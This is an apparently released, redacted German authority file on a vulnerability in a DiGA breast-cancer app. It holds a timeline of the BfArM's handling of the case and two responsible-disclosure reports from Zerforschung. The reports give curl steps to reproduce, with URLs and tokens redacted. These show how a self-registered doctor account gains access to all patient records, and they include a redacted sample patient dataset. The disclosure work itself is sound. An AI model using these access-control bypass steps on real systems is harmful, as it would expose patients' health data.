Ablauf der Adressierung der DiGA-Schwachstelle bzgl. Datensicherheit

[redacted]

14.04.2022: Meldung der Sicherheitslücke durch Zerforschung an CERT-Bund, das LDI NRW, das Bundesinstitut für Arzneimittel und Medizinprodukte und der [redacted]

19.04.2022: Aufforderung zur Stellungnahme durch das BfArM mit Frist 21.04.2022

20.04.2022: Telefonat mit der [redacted]: Der Hersteller hatte das Schreiben von Zerforschung nicht erhalten, da es als Spam eingestuft wurde.
Weiterleitung des Schreibens an die [redacted]

21.04.2022: Eingang der Stellungnahme von der [redacted] und der Bestätigung, dass die Sicherheitslücke am 20.04.2022 geschlossen wurde.

29.04.2022: Vom BfArM initiiertes Telefonat mit [redacted] (Zerforschung) über die gefundenen Sicherheitslücken bei den DiGA [redacted] und [redacted] (siehe oben)

04.05.2022: Meldung einer erneuten Sicherheitslücke durch Zerforschung an CERT-Bund, das LDI NRW, das Bundesinstitut für Arzneimittel und Medizinprodukte und der [redacted] (Folge aus dem Datenabfluss, der durch die erste Sicherheitslücke entstanden ist).

[redacted] Sicherheitsslücken in [redacted]
Ze Fo schung <hallo@zerforschung.org>
An: CERT-Bund <certbund@bsi.bund.de>
poststelle@ldi.nrw.de
diga@bfarm.de
[redacted]
Datum: 4.04. 0 8:15:43

Sehr geehrte Mitarbeiter*innen des CERT-Bund, des D NRW, des Bundesinstitut für Arzneimittel und Medizinprodukte und der [redacted],

Wir wenden uns heute mit einem Responsible-Dislcosure-Bericht zur App "[redacted]" mit der PZN "[redacted]" von der [redacted] an Sie.

m Rahmen einer unabhängigen zivilgesellschaftlichen Sicherheitsüberprüfung haben wir eine schwerwiegende Sicherheitslücke in der App "[redacted]" gefunden, die Zugriff auf personenbezogenen Daten wie z.B. Namen, Adresse, E Mail-Adresse, Telefonnummer, Geschlecht, Alter, Diagnose, Krankenakte, Behandlungsvermerke, sowie Passwörter im Klartext einer vierstelligen Anzahl von Patient*innen und Ärzt*innen enthält. Hierbei handelt es sich um Gesundheitsdaten – also besonders schützenswerte Daten nach Art. 9 DSGVO. Die ücke ist im PDF im Anhang ausführlicher beschreiben.

Wir bitten das Unternehmen uns den Empfang dieser Nachricht unmittelbar zu bestätigen und uns einen Zeitplan zum Schließen der ücke mitzuteilen.

Die persönliche Ansprechpartnerin für diesen Fall bei uns im Haus ist [redacted] von Zerforschung, die unter der E-Mail-Adresse hallo@zerforschung.org sowie te efonisch unter [redacted] zur Verfügung steht.

Viele Grüße,
zerforschung

ZER REVERSE ENGINEERING ZENTRUM

Datenabfluss bei [redacted]

ID: [redacted]

Score: [redacted]

Initial Version: 2022-04-14
Last Update: 2022-04-14

1 Beschreibung

Das Unternehmen

[redacted]

betreibt die App "[redacted]". Dieses ist unter dem Namen "[redacted]" mit der PZN "[redacted]" seit dem [redacted] für die Behandlung bei folgenden Erkrankungen vorläufig zugelassen:

```
C50 Bösartige Neubildung der Brustdrüse [Mamma]
```

Diese Applikation wird nicht nur als Digitale Gesundheitsanwendung verwendet, sondern auch zur Kommunikation/Dokumentation verschiedener medizinischer Studien.

2 Auswirkungen

Die Sicherheitslücke ermöglicht das Abrufen von allen im System von "[redacted]" gespeicherten Daten von Patien*innen & Ärzt*innen wie z.B. Namen, Adresse, E-Mail-Adresse, Telefonnummer, Geschlecht, Alter, Diagnose, Teilnahme und Ergebnisse von Studien, Krankenakte, Behandlungsvermerke, sowie Passwörter im Klartext einer vierstelligen Anzahl von Nutzer*innen. Hierbei handelt es sich um Gesundheitsdaten – also besonders schützenswerte Daten nach Art. 9 DSGVO.

Ein Beispiel-Userdatensatz ohne Behandlungsverlauf ist am Ende des Dokumentes zu finden.

3 Schritte zum Nachvollziehen der Lücke (Steps to Reproduce)

1. Anlegen eines Arzt/Institutsaccountes auf [redacted] und Login auf [redacted]. Das dabei erhaltene Bearer-Token ({BEARER_TOKEN}) und die User-ID ({USER_ID}) werden in den folgenden Schritten gebraucht.

2. Abrufen des URL-Endpunktes [redacted] um eine Liste aller Abteilungen zu erhalten.

```
curl [redacted]' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'authorization: [redacted]}'
```

3. In jeder Abteilung zum Arzt werden:

```
curl [redacted]' \
  -X 'PATCH' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Content-Type: application/json;charset=UTF-8' \
  -H 'authorization: [redacted] \
  --data-raw '{"physicians": ["{USER_ID}"]}'
```

4. Zu allen Patient*innen alle Daten abrufen (Patienten-IDs befinden sich in [redacted] von 2. oder unter /d[redacted])

```
curl [redacted]/' \
  -H 'authorization: [redacted]
```

5. Nun können auch über die Ärzte-Website [redacted] alle Patient*innen eingesehen und bearbeitet werden.

4 Kontaktinformationen

Für technische Rückfragen stehen wir unter der E-Mail-Adresse hallo@zerforschung.org zur Verfügung. Verschlüsselte Kommunikation ist mittels S/MIME mit dem auf unserer Kontakt-Seite verlinkten Zertifikat möglich. Ihre persönliche Ansprechpartnerin ist [redacted]. Sie erreichen sie jederzeit unter der E-Mail-Adresse hallo@zerforschung.org oder telefonisch unter [redacted].

Dieser Report ist bitte als Vertraulich zu behandeln. Wir freuen uns über jede Rückmeldung – nicht aber über eine unabgesprochene Veröffentlichung des Reports.

5 Verweise

Auf der Website konnte kein Security-Kontakt gefunden werden. Wir empfehlen, diesen mittels des security.txt-Standards bereitzustellen.

6 Versionshistorie

Version	Datum	Beschreibung
1	2022-04-14	Initiale Version

7 Beispiel-Datensatz


```
{
  "patient": {
    "language": "de",
    "profile_pic": null,
    "profile_pic_original": null,
    "uuid": [redacted]
    "username": [redacted],
    "plain_password": "",
    "userprofile": {
      "user": [redacted]",
      "first_name": "[redacted]",
      "last_name": "[redacted]",
      "email": "[redacted]",
      "title": "",
      "gender": "Male",
      "dob": "[redacted]",
      "address1": "[redacted]",
      "address2": "",
      "mobile": "[redacted]",
      "landline": "",
      "city": "[redacted]",
      "state": "",
      "country": "276",
      "postal_code": "[redacted]",
      "status": "a",
      "uuid": [redacted],
      "user_type": "patient",
      "forcePasswordChange": false,
      "active": true,
      "symptom_access_code": true,
      "firstLogin": false,
      "added_by": {
        "uuid": [redacted],
        "username": [redacted],
        "first_name": [redacted],
        "last_name": [redacted],
        "email": [redacted],
        "profile_pic": null,
        "profile_pic_original": null,
        "address1": "",
        "mobile": "",
        "landline": "",
        "email_verified": true,
```

```
      "title": "",
      "user_type": "nurse"
    },
    "edited_by": {
      "uuid": [redacted],
      "username": [redacted],
      "first_name": [redacted],
      "last_name": [redacted],
      "email": [redacted],
      "profile_pic": null,
      "profile_pic_original": null,
      "address1": "",
      "mobile": "",
      "landline": "",
      "email_verified": false,
      "title": "",
      "user_type": "patient"
    },
    "created_time": "2021-08-19T09:00:21.799415Z",
    "updated_time": "2022-04-13T18:10:58.379527Z",
    "archive_message": "",
    "is_locked": true,
    "new_sub_support_assigned": false,
    "pain_scale": null,
    "pain_location": null,
    "health_scale": [redacted]
    "reminder_data": [],
    "sideeffects": [],
    "answered_questionnnaires": [
      {
        "uuid": [redacted],
        "title": [redacted]
        "translations": [
          {
            "language": "de",
            "title": [redacted]
          }
        ]
      }
    ],
    "trial_status": "ip",
    "trial_section_settings": {
      "iv_quest_sharedWithPhy": false,
      "drug_quest_sharedWithPhy": true,
      "se_quest_sharedWithPhy": false,
      "pain_quest_sharedWithPhy": false,
      "ass_quest_sharedWithPhy": true,
      "eqvas_quest_sharedWithPhy": true,
      "disease_sharedWithPhy": false,
```

```
        "files_sharedWithPhy": true,
        "escalation_sharedWithPhy": true,
        "allow_new_treatments": false,
        "allow_new_assessments": false,
        "allow_edit_assessments": false,
        "physician_edit": false,
        "can_stop_treatment": false,
        "treatments": [
          {
            "uuid": [redacted],
            "name": [redacted],
            "translations": [
              {
                "language": "ar",
                "name":[redacted]
              },
              {
                "language": "de",
                "name": [redacted]
              },
              {
                "language": "en",
                "name": [redacted]
              },
              {
                "language": "es",
                "name": [redacted]
              },
              {
                "language": "fr",
                "name": [redacted]
              },
              {
                "language": "gr",
                "name": [redacted]
              },
              {
                "language": "hu",
                "name": [redacted]
              },
              {
                "language": "ml",
                "name": [redacted]
              },
              {
                "language": "ru",
                "name": [redacted]
              },
              {
```

```
                "language": "tr",
                "name": [redacted]
              },
              {
                "language": "zh",
                "name": [redacted]
              }
            ],
            "treatment_type": "t"
          }
        ],
        "family_and_friends": false,
        "assist_patient": true
      },
      "trial": {
        "uuid": [redacted]
        "code": [redacted]
        "trial_uuid": [redacted],
        "name": [redacted]
        "brand_enabled": false,
        "brand_logo_cropped": null,
        "brand_logo_original": null,
        "brand_settings": {
          "info_color": "[redacted],
          "danger_color": [redacted]
          "navbar_color": "[redacted],
          "primary_color": [redacted],
          "sidebar_color": [redacted],
          "special_color": [redacted],
          "warning_color": [redacted],
          "standard_color": [redacted]
          "secondary_color": "[redacted],
          "navbar_hij_color": "[redacted],
          "navbar_text_color": "[redacted],
          "sidebar_hij_color": "[redacted]
          "panel_header_color": [redacted],
          "navbar_hij_text_color": "[redacted],
          "panel_header_text_color":[redacted]
        },
        "brand_family_and_friends": false,
        "trial_type": "n",
        "auto_enroll": true,
        "allow_new_features": true,
        "hatran_enabled": false
      },
      "trial_details": {
        "uuid": [redacted],
        "status": "ip",
        "start_date": [redacted],
```

```
      "stop_date": null,
      "department": [redacted],
      "center": [redacted]
    },
    "is_precycle": false,
    "ongoing_treatments": [
      [redacted]
    ],
    "visit_details": null,
    "sub_support_programs": [],
    "archived_depts": [],
    "companion_apps": [],
    "patient_fatigue_settings": null,
    "patient_settings": [
      {
        "diseases": [
          {
            "uuid": [redacted],
            "title": [redacted]
            "translations": [
              {
                "uuid": "[redacted],
                "language": "de",
                "title": [redacted]
              },
              {
                "uuid": [redacted],
                "language": "en",
                "title": [redacted]
              }
            ],
            "quickmenu_items": [],
            "icd_code": null,
            "website_url": null
          }
        ],
        "subsupports": [],
        "uuid": [redacted],
        "disease_categories": [
          {
            "title": "Cancer",
            "uuid": [redacted]",
            "translations": []
          }
        ],
        "assessment_font": "18",
        "drug_skip": false,
        "treatments": [],
        "icd_codes": []
```

```
        }
      ],
      "first_data_documented_date": "2022-04-06",
      "last_data_documented_date": "2022-04-13",
      "patient_products": [],
      "hcp_completed_patient_details": false,
      "pat_departments": [
        {
          "uuid": [redacted],
          "name": [redacted],
          "physicians": [
            {
              "uuid": [redacted],
              "username": [redacted]
              "first_name": "",
              "last_name": "",
              "email": [redacted],
              "title": ""
            },
            {
              "uuid": [redacted],
              "username": [redacted],
              "first_name": [redacted],
              "last_name": [redacted],
              "email": [redacted],
              "title": ""
            }
          ],
          "nurses": [
            {
              "uuid": [redacted]
              "username": [redacted],
              "first_name": [redacted],
              "last_name": [redacted],
              "email": [redacted],
              "title": ""
            },
            {
              "uuid": [redacted],
              "username": [redacted],
              "first_name": [redacted],
              "last_name": [redacted],
              "email": [redacted],
              "title": ""
            },
            {
              "uuid": [redacted],
              "username": [redacted],
              "first_name": [redacted],
```

```
            "last_name": [redacted],
            "email": [redacted],
            "title": ""
          }
        ],
        "center": {
          "uuid": [redacted],
          "name": [redacted]
        }
      },
      {
        "uuid": [redacted],
        "name": [redacted],
        "physicians": [
          {
            "uuid": [redacted],
            "username": [redacted],
            "first_name": "",
            "last_name": "",
            "email": [redacted],
            "title": ""
          }
        ],
        "nurses": [
          {
            "uuid":[redacted]
            "username": [redacted],
            "first_name": [redacted],
            "last_name": [redacted],
            "email": [redacted],
            "title": ""
          },
          {
            "uuid":[redacted]
            "username": [redacted],
            "first_name": [redacted],
            "last_name": [redacted],
            "email":[redacted]
            "title": ""
          },
          {
            "uuid": [redacted],
            "username": [redacted],
            "first_name": [redacted],
            "last_name": [redacted],
            "email": [redacted],
            "title": ""
          }
        ],
```

```
          "center": {
            "uuid": [redacted]
            "name": [redacted]
          }
        }
      ],
      "visit_types": {
        "vc": "Video Call",
        "ip": "In Person",
        "pc": "Phone Call"
      },
      "visit_feature": false,
      "height": null,
      "weight": null
    },
    "patDept": [
      {
        "uuid":[redacted]",
        "name": [redacted]",
        "center": {
          "uuid":[redacted]",
          "name": [redacted]
        }
      },
      {
        "uuid": [redacted]",
        "name": [redacted],
        "center": {
          "uuid": [redacted],
          "name": [redacted]
        }
      }
    ],
    "patient_properties": [redacted],
    "docprofile": null,
    "user_type": "patient",
    "status": "a",
    "email_verified": false,
    "send_email": true,
    "created_time": "2021-08-19T04:00:21.799415-05:00",
    "updated_time": "2022-04-13T13:10:58.379527-05:00",
    "timezone": "Europe/Berlin",
    "height": null,
    "weight": null
  },
  "diagnose": "",
  "highest_se_grade": 0,
  "added_on": "2022-04-13T13:10:58.372180-05:00",
  "iv_quest": false,
```

```
  "drug_quest": true,
  "se_quest": false,
  "pain_quest": false,
  "ass_quest": true,
  "eqvas_quest": true,
  "tempPatient": false,
  "pat_settings_enabled": false,
  "pat_iv_quest": false,
  "pat_drug_quest": true,
  "pat_se_quest": false,
  "pat_pain_quest": false,
  "pat_eqvas_quest": true,
  "pat_files": true,
  "last_updated_time": "2022-04-13T13:11:09.560479-05:00",
  "main_treatment": {
    "default": [redacted]
    "ar": [redacted],
    "de": [redacted]",
    "en": [redacted],
    "es": [redacted],
    "fr": [redacted]
    "gr": [redacted],
    "hu": [redacted],
    "ml": [redacted],
    "ru": [redacted],
    "tr": [redacted]
    "zh": [redacted]
  },
  "earliest_quest_date": "2021-08-19T00:00:00-05:00",
  "center_patient_id": "",
  "pending_assessments": null
}
```

[redacted] Erneute Sicherheitslücke bei [redacted]

[redacted] Forschung <hallo@zerforschung.org>
An: CERT-Bund <certbund@bsi.bund.de>
poststelle@ldi.nrw.de
diga@bfarm.de
[redacted]
Datum: 04.05.[redacted] 7:11:18

Sehr geehrte Mitarbeiter*innen des CERT-Bund, des [redacted] D [redacted] NRW, des Bundesinstitut für Arzneimittel und Medizinprodukte und der [redacted],

Wir wenden uns heute erneut mit einem Responsible-Disclosure-Bericht zur App "[redacted]" mit der PZN "[redacted]" von der [redacted] an Sie.

[redacted] m Rahmen einer weiteren unabhängigen zivilgesellschaftlichen Sicherheitsüberprüfung haben wir eine weitere Sicherheitslücke in der App "[redacted]" gefunden, die Zugriff auf personenbezogenen Daten wie z.B. Namen, Adresse, E-Mail-Adresse, Telefonnummer, Geschlecht, Alter, Diagnose, Krankenakte, Behandlungsvermerke einer vierstelligen Anzahl von Patient*innen und Ärzt*innen enthält. Hierbei handelt es sich um Gesundheitsdaten - also besonders schützenswerte Daten nach Art. 9 DSGVO. Diese sind im vollständigen PDF-Report im Anhang ausführlicher beschreiben.

Das Unternehmen wurde vorab bereits über die [redacted] ücke informiert. Wir bitten dennoch darum, uns den Empfang dieser Nachricht unmittelbar zu bestätigen und uns einen Zeitplan zum Schließen der [redacted] ücke mitzuteilen.

Die persönliche Ansprechpartnerin für diesen Fall bei uns im Haus ist [redacted] von Zerforschung, die unter der E-Mail-Adresse hallo@zerforschung.org sowie te efonisch unter [redacted] zur Verfügung steht.

Viele Grüße,
zerforschung

ZER REVERSE ENGINEERING ZENTRUM

Erneute Sicherheitslücke bei [redacted]

ID: [redacted]

Initial Version: 2022-05-04
Last Update: 2022-05-04

1 Beschreibung

Das Unternehmen

[redacted]

betreibt die App "[redacted]". Dieses ist unter dem Namen "[redacted]" mit der PZN "[redacted]" seit dem [redacted] für die Behandlung bei folgenden Erkrankungen vorläufig zugelassen:

```
C50 Bösartige Neubildung der Brustdrüse [Mamma]
```

Diese Applikation wird nicht nur als Digitale Gesundheitsanwendung verwendet, sondern auch zur Kommunikation/Dokumentation verschiedener medizinischer Studien.

Dieser Report ist ein Folgereport zu unserem Report [redacted], über bei einer Nachprüfung vorgefundenen Schwachstelle.

Über einen Endpunkt, der dazu dient, Ärzt*innen Zugriff auf Patient*innen-Daten zu geben, kann durch die Verwendung der UUIDs anderer Patient*innen beliebiger Zugriff auf die Patient*innen-Datenbank ermöglicht werden.

2 Auswirkungen

Da die UUIDs spätestens seit unserem Report [redacted] als kompromittiert anzusehen sind, ist damit wiederum ein vollständiger Patientendatenabfluss möglich.

An dieser Stelle erlauben wir uns außerdem den Hinweis, dass auch alle Client-IDs/Client-Secrets und Tokens der Arztaccounts kompromittiert sind und rotiert werden müssen, da diese durch Zugriff auf diese Schnittstelle/der Lücke im Rahmen von [redacted] zugänglich waren.

3 Schritte zum Nachvollziehen der Lücke (Steps to Reproduce)

1. Patient-ID bekommen
2. Als Ärzt*in registrieren und Extension Code / Promotion Code bekommen.
   - auf den Button “Patienteninformation” im Webinterface klicken
   - dem PDF den 8-Stelligen Code aus dem QR-Code entnehmen.
3. Folgenden Befehl ausführen:

```
curl -H "Authorization: Bearer {TOKEN}" \
--data-raw '{"promotion_code":[redacted]}' \
[redacted]/
```

4. Der Patient*innen-Account wird der Ärzt*in zugeordnet.
5. Ärzt*in hat Vollzugriff auf die Daten der Patient*in

4 Kontaktinformationen

Für technische Rückfragen stehen wir unter der E-Mail-Adresse hallo@zerforschung.org zur Verfügung. Verschlüsselte Kommunikation ist mittels S/MIME mit dem auf unserer Kontakt-Seite verlinkten Zertifikat möglich. Ihre persönliche Ansprechpartnerin ist [redacted]. Sie erreichen sie jederzeit unter der E-Mail-Adresse hallo@zerforschung.org oder telefonisch unter [redacted]

Dieser Report ist bitte als Vertraulich zu behandeln. Wir freuen uns über jede Rückmeldung – nicht aber über eine unabgesprochene Veröffentlichung des Reports.

5 Versionshistorie

Version	Datum	Beschreibung
1	2022-05-04	Initiale Version